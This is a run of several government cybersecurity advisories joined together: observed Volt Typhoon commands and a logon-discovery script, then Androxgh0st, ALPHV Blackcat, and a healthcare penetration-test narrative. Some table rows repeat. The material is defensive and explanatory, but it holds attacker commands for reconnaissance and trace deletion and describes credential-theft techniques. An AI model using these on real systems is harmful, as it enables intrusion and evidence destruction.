The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring agencies.
ACKNOWLEDGEMENTS
Fortinet and Microsoft contributed to this advisory.
VERSION HISTORY
February 7, 2024: Initial Version.
APPENDIX A: VOLT TYPHOON OBSERVED COMMANDS / LOTL ACTIVITY
PowerShell command extracts security log entries with the Event ID 4624 after a specified date. The output is formatted (fl *) and saved to user.dat. Potentially used to analyze logon patterns and identify potential targets for lateral movement.
PowerShell command extracts security log entries with the Event ID 4624 and filters them to include only those containing a specific user account, selecting the first instance of such an event.
wminc process get name,processid
Appears to be an attempt to use the wmic command but with a misspelling (wminc instead of wmic). This command, as it stands, would not execute successfully and would return an error in a typical Windows environment. This could indicate a mistake made during manual input.
wmic process get name,processid
WMI command lists all running processes with process names and process IDs. Potentially used to find process IDs needed for other operations, like memory dumping.
tasklist /v
Command displays detailed information about currently running processes, including the name, PID, session number, and memory usage.
taskkill /f /im rdpservice.exe
Command forcibly terminates the process rdpservice.exe. Potentially used as a cleanup activity post-exploitation.
ping -n 1 {redacted IP address}
Command sends one ICMP echo request to a specified IP address.
ping -n 1 -w 1 {redacted IP address}
Command sends one ICMP echo request to a specified IP address with a timeout (-w) of 1 millisecond.
net user
Lists all user accounts on the local machine or domain, useful for quickly viewing existing user accounts.
quser
query user
Displays information about user sessions on a system, aiding in identifying active users or sessions.
net start
Lists all active services.
cmd
Opens a new instance of the command prompt.
cd [Redacted Path]
Changes the current directory to a specified path, typically for navigating file systems.
Remove-Item .Thumbs.db
PowerShell command to delete the Thumbs.db file, possibly for cleanup or removing traces.
move .Thumbs.db ttt.dat
Relocates and renames the file Thumbs.db in the current directory to ttt.dat within the same directory.
del .Thumbs.db /f /s /q
Force deletes Thumbs.db files from the current directory and all subdirectories, part of cleanup operations to erase traces.
del ??
Deletes files with two-character names, potentially a targeted cleanup command.
del /?
Displays help information for the del command.
exit
Terminates the command prompt session.
ipconfig
Retrieves network configuration details, helpful for discovery and mapping the victim’s network.
net time /dom
Queries or sets the network time for a domain, potentially used for reconnaissance or to manipulate system time.
netstta -ano
Intended as netstat -ano; a mistyped command indicating a potential operational error.
netstat -ano
Lists active network connections and processes, helpful for identifying communication channels and potential targets.
type .Notes.txt
Displays the contents of Notes.txt, possibly used for extracting specific information or intelligence gathering.
logoff
Logs off the current user session.
Table 3: Volt Typhoon Observed PowerShell Scripts
Script name and location
Contents
Description/Use
C:{redacted}
logins.ps1
# Find DC list from Active Directory
$DCs = Get-ADDomainController -Filter *
# Define time for report (default is 1 day)
$startDate = (get-date).AddDays(-1)
# Store successful logon events from security logs with the specified dates and workstation/IP in an array
The script is designed for user logon discovery in a Windows Active Directory environment. It retrieves a list of DCs and then queries security logs on these DCs for successful logon events (Event ID 4624) within the last day. The script differentiates between local (Logon Type 2) and remote (Logon Type 10) logon events. For each event, it extracts and displays details including the logon type, date/time of logon, status, account name, and the workstation or IP address used for the logon. Volt Typhoon may be leveraging this script to monitor user logon activities across the network, potentially to identify patterns, gather credentials, or track the movement of users and administrators within the network.
APPENDIX B: INDICATORS OF COMPROMISE
See Table 4 for Volt Typhoon IOCs obtained by the U.S. authoring agencies during incident response activities.
Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.
Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.
Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.
Table 6: Volt Typhoon actors ATT&CK Techniques for Enterprise – Resource Development
Volt Typhoon uses multi-hop proxies for command-and-control infrastructure. The proxy is typically composed of Virtual Private Servers (VPSs) or small office/home office (SOHO) routers.
Volt Typhoon has redirected specific port traffic to their proxy infrastructure, effectively converting the PRTG’s Detection Guidance server into a proxy for their C2 traffic.
Volt Typhoon has used Brightmetricagent.exe, which contains multiplexer libraries that can bi-directionally stream data over through NAT networks and contains a command-line interface (CLI) library that can leverage command shells such as PowerShell, Windows Management, Instrumentation (WMI), and Z Shell (zsh).
Volt Typhoon first obtains credentials from public-facing appliances after gaining initial access by exploiting privilege escalation vulnerabilities in the operating system or network services.
Table 11: Volt Typhoon actors ATT&CK Techniques for Enterprise – Defense Evasion
Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.
Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.
Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.
Volt Typhoon has obfuscated FRP client files (BrightmetricAgent.exe and SMSvcService.exe) and the command-line port scanning utility ScanLine by packing the files with Ultimate Packer for Executables (UPX).
Volt Typhoon uses hands-on-keyboard activity via the command-line and use other native tools and processes on systems (often referred to as “LOLBins”), known as LOTL, to maintain and expand access to the victim networks.
Table 12: Volt Typhoon actors ATT&CK Techniques for Enterprise – Credential Access
Volt Typhoon used a DLL with MiniDump and the process ID of Local Security Authority Subsystem Service (LSASS) to dump the LSASS process memory and obtain credentials.
Volt Typhoon has accessed a Local State file that contains the Advanced Encryption Standard (AES) encryption key used to encrypt the passwords stored in the Chrome browser, which enables the actors to obtain plaintext passwords stored in the Login Data file in the Chrome browser.
Table 13: Volt Typhoon actors ATT&CK Techniques for Enterprise – Discovery
Volt Typhoon created and accessed a file named rult3uil.log on a Domain Controller in C:WindowsSystem32. The rult3uil.log file contained user activities on a compromised system, showcasing a combination of window title information and focus shifts, keypresses, and command executions across Google Chrome and Windows PowerShell, with corresponding timestamps.
Volt Typhoon enumerated several directories, including directories containing vulnerability testing and cyber related content and facilities data, such as construction drawings.
Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.
Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.
Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.
Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.
Volt Typhoon potentially had access to a range of critical PuTTY profiles, including those for water treatment plants, water wells, an electrical substation, operational technology systems, and network security devices. This would enable them to access these critical systems.
During the period of Volt Typhoon’s known network presence, there were anomalous login attempts to an Azure tenant potentially using credentials previously compromised from theft of NTDS.dit.
Volt Typhoon has moved laterally to the Domain Controller via an interactive RDP session using a compromised account with domain administrator privileges.
During the period of Volt Typhoon’s known network presence, there were anomalous login attempts to an Azure tenant potentially using credentials previously compromised from theft of NTDS.dit.
Table 15: Volt Typhoon actors ATT&CK Techniques for Enterprise – Collection
Volt Typhoon has compressed and archived the extracted ntds.dit and accompanying registry files (by executing ronf.exe, which was likely a renamed version of rar.exe).
Volt Typhoon accessed the file C:Users{redacted}DownloadsHistory.zip, which presumably contained data from the User Data directory of the user’s Chrome browser, which the actors likely saved in the Downloads directory for exfiltration.
Volt Typhoon uses legitimate, but outdated versions of network admin tools. For example, in one confirmed compromise, actors downloaded an outdated version of comsvcs.dll, on the DC in a non-standard folder.
The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to disseminate known indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) associated with threat actors deploying Androxgh0st malware. Multiple, ongoing investigations and trusted third party reporting yielded the IOCs and TTPs, and provided information on Androxgh0st malware’s ability to establish a botnet that can further identify and compromise vulnerable networks.
The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of cybersecurity incidents caused by Androxgh0st infections.
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview
Androxgh0st malware has been observed establishing a botnet [T1583.005] for victim identification and exploitation in target networks. According to open source reporting[1], Androxgh0st is a Python-scripted malware [T1059.006] primarily used to target .env files that contain confidential information, such as credentials [T1552.001] for various high profile applications (i.e., Amazon Web Services [AWS], Microsoft Office 365, SendGrid, and Twilio from the Laravel web application framework). Androxgh0st malware also supports numerous functions capable of abusing the Simple Mail Transfer Protocol (SMTP), such as scanning [T1046] and exploiting exposed credentials [T1078] and application programming interfaces (APIs) [T1114], and web shell deployment [T1505.003].
Targeting the PHPUnit
Androxgh0st malware TTPs commonly involves the use of scripts, conducting scanning [T1595] and searching for websites with specific vulnerabilities. In particular, threat actors deploying Androxgh0st have been observed exploiting CVE-2017-9841 to remotely run hypertext preprocessor (PHP) code on fallible websites via PHPUnit [T1190]. Websites using the PHPUnit module that have internet-accessible (exposed) /vendor folders are subject to malicious HTTP POST requests to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php uniform resource identifier (URI). This PHP page runs PHP code submitted through a POST request, which allows the threat actors to remotely execute code.
Malicious actors likely use Androxgh0st to download malicious files [T1105] to the system hosting the website. Threat actors are further able to set up a fake (illegitimate) page accessible via the URI to provide backdoor access to the website. This allows threat actors to download additional malicious files for their operations and access databases.
Laravel Framework Targeting
Androxgh0st malware establishes a botnet to scan for websites using the Laravel web application framework. After identifying websites using the Laravel web application, threat actors attempt to determine if the domain’s root-level .env file is exposed and contains credentials for accessing additional services. Note:.env files commonly store credentials and tokens. Threat actors often target .env files to steal these credentials within the environment variables.
If the .env file is exposed, threat actors will issue a GET request to the /.env URI to attempt to access the data on the page. Alternatively, Androxgh0st may issue a POST request to the same URI with a POST variable named 0x[] containing certain data sent to the web server. This data is frequently used as an identifier for the threat actor. This method appears to be used for websites in debug mode (i.e., when non-production websites are exposed to the internet). A successful response from either of these methods allows the threat actors to look for usernames, passwords, and/or other credentials pertaining to services such as email (via SMTP) and AWS accounts.
Androxgh0st malware can also access the application key [TA0006] for the Laravel application on the website. If the threat actors successfully identify the Laravel application key, they will attempt exploitation by using the key to encrypt PHP code [T1027.010]. The encrypted code is then passed to the website as a value in the cross-site forgery request (XSRF) token cookie, XSRF-TOKEN, and included in a future GET request to the website. The vulnerability defined in CVE-2018-15133 indicates that on Laravel applications, XSRF token values are subject to an un-serialized call, which can allow for remote code execution. In doing so, the threat actors can upload files to the website via remote access.
Apache Web Server Targeting
In correlation with CVE-2021-41773, Androxgh0stactors have been observed scanning vulnerable web servers [T1595.002] running Apache HTTP Server versions 2.4.49 or 2.4.50. Threat actors can identify uniform resource locators (URLs) for files outside root directory through a path traversal attack [T1083]. If these files are not protected by the “request all denied” configuration and Common Gateway Interface (CGI) scripts are enabled, this may allow for remote code execution.
If threat actors obtain credentials for any services using the above methods, they may use these credentials to access sensitive data or use these services to conduct additional malicious operations. For example, when threat actors successfully identify and compromise AWS credentials from a vulnerable website, they have been observed attempting to create new users and user policies [T1136]. Additionally, Andoxgh0st actors have been observed creating new AWS instances to use for conducting additional scanning activity [T1583.006].
INDICATORS OF COMPROMISE (IOCs)
Based on investigations and analysis, the following requests are associated with Androxgh0st activity:
Incoming GET and POST requests to the following URIs:
The threat actor can exploit a successfully identified Laravel application key to encrypt PHP code, which is then passed to the site as a value in the XSRF-TOKEN cookie.
The threat actor runs PHP code through a POST request to download malicious files to the system hosting the website.
MITIGATIONS
The FBI and CISA recommend implementing the mitigations below to improve your organization’s cybersecurity posture based on Androxgh0st threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
These mitigations apply to all critical infrastructure organizations and network defenders. FBI and CISA recommend that software manufacturers incorporate secure by design principles and tactics into their software development practices, limiting the impact of actor techniques and strengthening their customers’ security posture. For more information on secure by design, see CISA’s Secure by Design webpage.
The FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by actors using Androxgh0st malware.
Keep all operating systems, software, and firmware up to date. Specifically, ensure that Apache servers are not running versions 2.4.49 or 2.4.50. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems.
Verify that the default configuration for all URIs is to deny all requests unless there is a specific need for it to be accessible.
Ensure that any live Laravel applications are not in “debug” or testing mode. Remove all cloud credentials from .env files and revoke them. All cloud providers have safer ways to provide temporary, frequently rotated credentials to code running inside a web server without storing them in any file.
On a one-time basis for previously stored cloud credentials, and on an on-going basis for other types of credentials that cannot be removed, review any platforms or services that have credentials listed in the .env file for unauthorized access or use.
Scan the server’s file system for unrecognized PHP files, particularly in the root directory or /vendor/phpunit/phpunit/src/Util/PHP folder.
Review outgoing GET requests (via cURL command) to file hosting sites such as GitHub, pastebin, etc., particularly when the request accesses a .php file.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, FBI and CISA recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see Tables 1-10).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
REPORTING
The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI field office. With regards to specific information that appears in this CSA, indicators should always be evaluated in light of an organization’s complete security situation.
When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI Internet Crime Complaint Center (IC3), a local FBI Field Office, or to CISA via its Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.
The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and CISA.
Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known IOCs and TTPs associated with the ALPHV Blackcat ransomware as a service (RaaS) identified through FBI investigations as recently as Dec. 6, 2023.
This advisory provides updates to the FBI FLASH BlackCat/ALPHV Ransomware Indicators of Compromise released April 19, 2022. Since previous reporting, ALPHV Blackcat actors released a new version of the malware, and the FBI identified over 1000 victims worldwide targeted via ransomware and/or data extortion.
FBI and CISA encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ALPHV Blackcat ransomware and data extortion incidents.
In February 2023, ALPHV Blackcat administrators announced the ALPHV Blackcat Ransomware 2.0 Sphynx update, which was rewritten to provide additional features to affiliates, such as better defense evasion and additional tooling. This ALPHV Blackcat update has the capability to encrypt both Windows and Linux devices, and VMWare instances. ALPHV Blackcat affiliates have extensive networks and experience with ransomware and data extortion operations. According to the FBI, as of September 2023, ALPHV Blackcat affiliates have compromised over 1000 entities—nearly 75 percent of which are in the United States and approximately 250 outside the United States—, demanded over $500 million, and received nearly $300 million in ransom payments.
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
ALPHV Blackcat affiliates use advanced social engineering techniques and open source research on a company to gain initial access. Actors pose as company IT and/or helpdesk staff and use phone calls or SMS messages [T1598] to obtain credentials from employees to access the target network [T1586]. ALPHV Blackcat affiliates use uniform resource locators (URLs) to live-chat with victims to convey demands and initiate processes to restore the victims’ encrypted files.
After gaining access to a victim network, ALPHV Blackcat affiliates deploy remote access software such as AnyDesk, Mega sync, and Splashtop in preparation of data exfiltration. After gaining access to networks, ALPHV Blackcat affiliates use legitimate remote access and tunneling tools, such as Plink and Ngrok [S0508]. ALPHV Blackcat affiliates claim to use Brute Ratel C4 [S1063] and Cobalt Strike [S1054] as beacons to command and control servers. ALPHV Blackcat affiliates use the open source adversary-in-the-middle attack [T1557] framework Evilginx2, which allows them to obtain multifactor authentication (MFA) credentials, login credentials, and session cookies. The actors also obtain passwords from the domain controller, local network, and deleted backup servers to move laterally throughout the network [T1555].
To evade detection, affiliates employ allowlisted applications such as Metasploit. Once installed on the domain controller, the logs are cleared on the exchange server. Then Mega.nz or Dropbox are used to move, exfiltrate, and/or download victim data. The ransomware is then deployed, and the ransom note is embedded as a file.txt. According to public reporting, affiliates have additionally used POORTRY and STONESTOP to terminate security processes.
Some ALPHV Blackcat affiliates exfiltrate data after gaining access and extort victims without deploying ransomware. After exfiltrating and/or encrypting data, ALPHV Blackcat affiliates communicate with victims via TOR [S0183], Tox, email, or encrypted applications. The threat actors then delete victim data from the victim’s system.
ALPHV Blackcat affiliates offer to provide unsolicited cyber remediation advice as an incentive for payment, offering to provide victims with “vulnerability reports” and “security recommendations” detailing how they penetrated the system and how to prevent future re-victimization upon receipt of ransom payment.
MITRE ATT&CK TACTICS AND TECHNIQUES
See Table 1 through Table 3 for all referenced threat actor tactics and techniques in this advisory.
ALPHV Blackcat affiliates pose as company IT and/or helpdesk staff using phone calls or SMS messages to obtain credentials from employees to access the target network.
ALPHV Blackcat/ALPHV affiliates use the open-source framework Evilginx2 to obtain MFA credentials, login credentials, and session cookies for targeted networks.
INCIDENT RESPONSE
If compromise is detected, organizations should:
Quarantine or take offline potentially affected hosts.
Reimage compromised hosts.
Provision new account credentials.
Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
Report the compromise or phishing incident to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722).
To report spoofing or phishing attempts (or to report that you’ve been a victim), file a complaint with the FBI’s Internet Crime Complaint Center (IC3), or contact your local FBI Field Office to report an incident.
MITIGATIONS
These mitigations apply to all critical infrastructure organizations and network defenders. The FBI and CISA recommend that software manufactures incorporate secure-by-design and -default principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the security posture for their customers.
FBI and CISA recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on threat actor activity and to reduce the risk of compromise by ALPHV Blackcat threat actors. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Secure remote access tools by:
Implementing application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
Implementing FIDO/WebAuthn authentication or Public key Infrastructure (PKI)-based MFA [CPG 2.H]. These MFA implementations are resistant to phishing and not susceptible to push bombing or SIM swap attacks, which are techniques known be used by ALPHV Blackcat affiliates. See CISA’s Fact Sheet Implementing Phishing-Resistant MFA for more information.
Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting ransomware, implement a tool that logs and reports all network traffic [CPG 5.1], including lateral movement activity on a network. Endpoint detection and response (EDR) tools are useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
Implement user training on social engineering and phishing attacks [CPG 2.I]. Regularly educate users on identifying suspicious emails and links, not interacting with those suspicious items, and the importance of reporting instances of opening suspicious emails, links, attachments, or other potential lures.
Implement internal mail and messaging monitoring. Monitoring internal mail and messaging traffic to identify suspicious activity is essential as users may be phished from outside the targeted network or without the knowledge of the organizational security team. Establish a baseline of normal network traffic and scrutinize any deviations.
Implement free security tools to prevent cyber threat actors from redirecting users to malicious websites to steal their credentials. For more information see, CISA’s Free Cybersecurity Services and Tools webpage.
Install and maintain antivirus software. Antivirus software recognizes malware and protects your computer against it. Installing antivirus software from a reputable vendor is an important step in preventing and detecting infections. Always visit vendor sites directly rather than clicking on advertisements or email links. Because attackers are continually creating new viruses and other forms of malicious code, it is important to keep your antivirus software up to date.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see Tables 1-3).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.
In January 2023, the Cybersecurity and Infrastructure Security Agency (CISA) conducted a Risk and Vulnerability Assessment (RVA) at the request of a Healthcare and Public Health (HPH) sector organization to identify vulnerabilities and areas for improvement. An RVA is a two-week penetration test of an entire organization, with one week spent on external testing and one week spent assessing the internal network. As part of the RVA, the CISA assessment team conducted web application, phishing, penetration, database, and wireless assessments. The assessed organization was a large organization deploying on-premises software.
During the one-week external assessment, the assessment team did not identify any significant or exploitable conditions in externally available systems that may allow a malicious actor to easily obtain initial access to the organization’s network. Furthermore, the assessment team was unable to gain initial access to the assessed organization through phishing. However, during internal penetration testing, the team exploited misconfigurations, weak passwords, and other issues through multiple attack paths to compromise the organization’s domain.
In coordination with the assessed organization, CISA is releasing this Cybersecurity Advisory (CSA) detailing the RVA team’s activities and key findings to provide network defenders and software manufacturers recommendations for improving their organizations’ and customers’ cyber posture, which reduces the impact of follow-on activity after initial access. CISA encourages the HPH sector and other critical infrastructure organizations deploying on-premises software, as well as software manufacturers, to apply the recommendations in the Mitigations section of this CSA to harden networks against malicious activity and to reduce the likelihood of domain compromise.
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for tables of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Introduction
CISA has authority to, upon request, provide analyses, expertise, and other technical assistance to critical infrastructure owners and operators and provide operational and timely technical assistance to federal and non-federal entities with respect to cybersecurity risks. See generally 6 U.S.C. §§ 652(c)(5), 659(c)(6). After receiving a request for an RVA from the organization and coordinating high-level details of the engagement with certain personnel at the organization, CISA conducted the RVA in January 2023.
During RVAs, CISA tests the security posture of an organization’s network over a two-week period to determine the risk, vulnerability, and exploitability of systems and networks. During the first week (the external phase), the team tests public facing systems to identify exploitable vulnerabilities. During the second week (the internal phase), the team determines the susceptibility of the environment to an actor with internal access (e.g., malicious cyber actor or insider threat). The assessment team offers five services:
Web Application Assessment: The assessment team uses commercial and open source tools to identify vulnerabilities in public-facing and internal web applications, demonstrating how they could be exploited.
Phishing Assessment: The assessment team tests the susceptibility of staff and infrastructure to phishing attacks and determines what impact a phished user workstation could have on the internal network. The RVA team crafts compelling email pretexts and generates payloads, similar to ones used by threat actors, in order to provide a realistic threat perspective to the organization.
Penetration Testing: The assessment team tests the security of an environment by simulating scenarios an advanced cyber actor may attempt. The team’s goals are to establish a foothold, escalate privileges, and compromise the domain. The RVA team leverages both open source and commercial tools for host discovery, port and service mapping, vulnerability discovery and analysis, and vulnerability exploitation.
Database Assessment: The assessment team uses commercial database tools to review databases for misconfigurations and missing patches.
Wireless Assessment: The assessment team uses specialized wireless hardware to assess wireless access points, connected endpoints, and user awareness for vulnerabilities.
The assessed organization was in the HPH sector. See Table 1 for services in-scope for this RVA.
Table 1: In-Scope RVA Services
Phase
Scope
Services
External Assessment
Publicly available HPH-organization endpoints discovered during scanning
Penetration Testing
Phishing Assessment
Web Application Assessment
Internal Assessment
Internally available HPH-organization endpoints discovered during scanning
Database Assessment
Penetration Testing
Web Application Assessment
Wireless Assessment
Phase I: External Assessment
Penetration and Web Application Testing
The CISA team did not identify any significant or exploitable conditions from penetration or web application testing that may allow a malicious actor to easily obtain initial access to the organization’s network.
Phishing Assessment
The CISA team conducted phishing assessments that included both user and systems testing.
The team’s phishing assessment was unsuccessful because the organization’s defensive tools blocked the execution of the team’s payloads. The payload testing resulted in most of the team’s payloads being blocked by host-based protections through a combination of browser, policy, and antivirus software. Some of the payloads were successfully downloaded to disk without being immediately removed, but upon execution, the antivirus software detected the malicious code and blocked it from running. Some payloads appeared to successfully evade host-based protections but did not create a connection to the command and control (C2) infrastructure, indicating they may have been incompatible with the system or blocked by border protections.
Since none of the payloads successfully connected to the assessment team’s C2 server, the team conducted a credential harvesting phishing campaign. Users were prompted to follow a malicious link within a phishing email under the pretext of verifying tax information and were then taken to a fake login form.
While twelve unique users from the organization submitted credentials through the malicious form, the CISA team was unable to leverage the credentials because they had limited access to external-facing resources. Additionally, the organization had multi-factor authentication (MFA) implemented for cloud accounts. Note: At the time of the assessment, the CISA team’s operating procedures did not include certain machine-in-the-middle attacks that could have circumvented the form of MFA in place. However, it is important to note that tools like Evilginx[1] can be leveraged to bypass non-phishing resistant forms of MFA. Furthermore, if a user executes a malicious file, opening a connection to a malicious actor’s command and control server, MFA will not prevent the actor from executing commands and carrying out actions under the context of that user.
Phase II: Internal Assessment
Database, Web Application, and Wireless Testing
The CISA assessment team did not identify any significant or exploitable conditions from database or wireless testing that may allow a malicious actor to easily compromise the confidentiality, integrity, and availability of the tested environment.
The team did identify default credentials [T1078.001] for multiple web interfaces during web application testing and used default printer credentials while penetration testing. (See the Attack Path 2 section for more information.)
Penetration Testing
The assessment team starts internal penetration testing with a connection to the organization’s network but without a valid domain account. The team’s goal is to compromise the domain by gaining domain admin or enterprise administrator-level permissions. Generally, the team first attempts to gain domain user access and then escalate privileges until the domain is compromised. This process is called the “attack path”—acquiring initial access to an organization and escalating privileges until the domain is compromised and/or vital assets for the organization are accessed. The attack path requires specialized expertise and is realistic to what adversaries may do in an environment.
For this assessment, the team compromised the organization’s domain through four unique attack paths, and in a fifth attack path the team obtained access to sensitive information.
See the sections below for a description of the team’s attack paths mapped to the MITRE ATT&CK for Enterprise framework. See the Findings section for information on issues that enabled the team to compromise the domain.
Attack Path 1
The assessment team initiated LLMNR/NBT-NS/mDNS/DHCP poisoning [T1557.001] with Responder[2], which works in two steps:
Responder listens to multicast name resolution queries (e.g., LLMNR UDP/5355, NBTNS UDP/137) [T1040] and under the right conditions spoofs a response to direct the victim host to a CISA-controlled machine on which Responder is running.
Once a victim connects to the machine, Responder exploits the connection to perform malicious functions such as stealing credentials or opening a session on a targeted host [T1021].
With this tool, the CISA team captured fifty-five New Technology Local Area Network Manager version 2 (NTLMv2) hashes, including the NTLMv2 hash for a service account. Note: NTLMv2 and other variations of the hash protocol are used for clients to join a domain, authenticate between Active Directory forests, authenticate between earlier versions of Windows operating systems (OSs), and authenticate computers that are not normally a part of the domain.[3] Cracking these passwords may enable malicious actors to establish a foothold in the domain and move laterally or elevate their privileges if the hash belongs to a privileged account.
The service account had a weak password, allowing the team to quickly crack it [T1110.002] and obtain access to the organization’s domain. With domain access, the CISA assessment team enumerated accounts with a Service Principal Name (SPN) set [T1087.002]. SPN is the unique service identifier used by Kerberos authentication[4], and accounts with SPN are susceptible to Kerberoasting.
The CISA team used Impacket’s[5] GetUserSPNs tool to request Ticket-Granting Service (TGS) tickets for all accounts with SPN set and obtained their Kerberos hashes [T1558.003]. Three of these accounts had domain administrator privileges—offline, the team cracked ACCOUNT 1 (which had a weak password).
Using CrackMapExec[6], the assessment team used ACCOUNT 1 [T1078.002] to successfully connect to a domain controller (DC). The team confirmed they compromised the domain because ACCOUNT 1 had READ,WRITE permissions over the C$ administrative share [T1021.002] (see Figure 1).
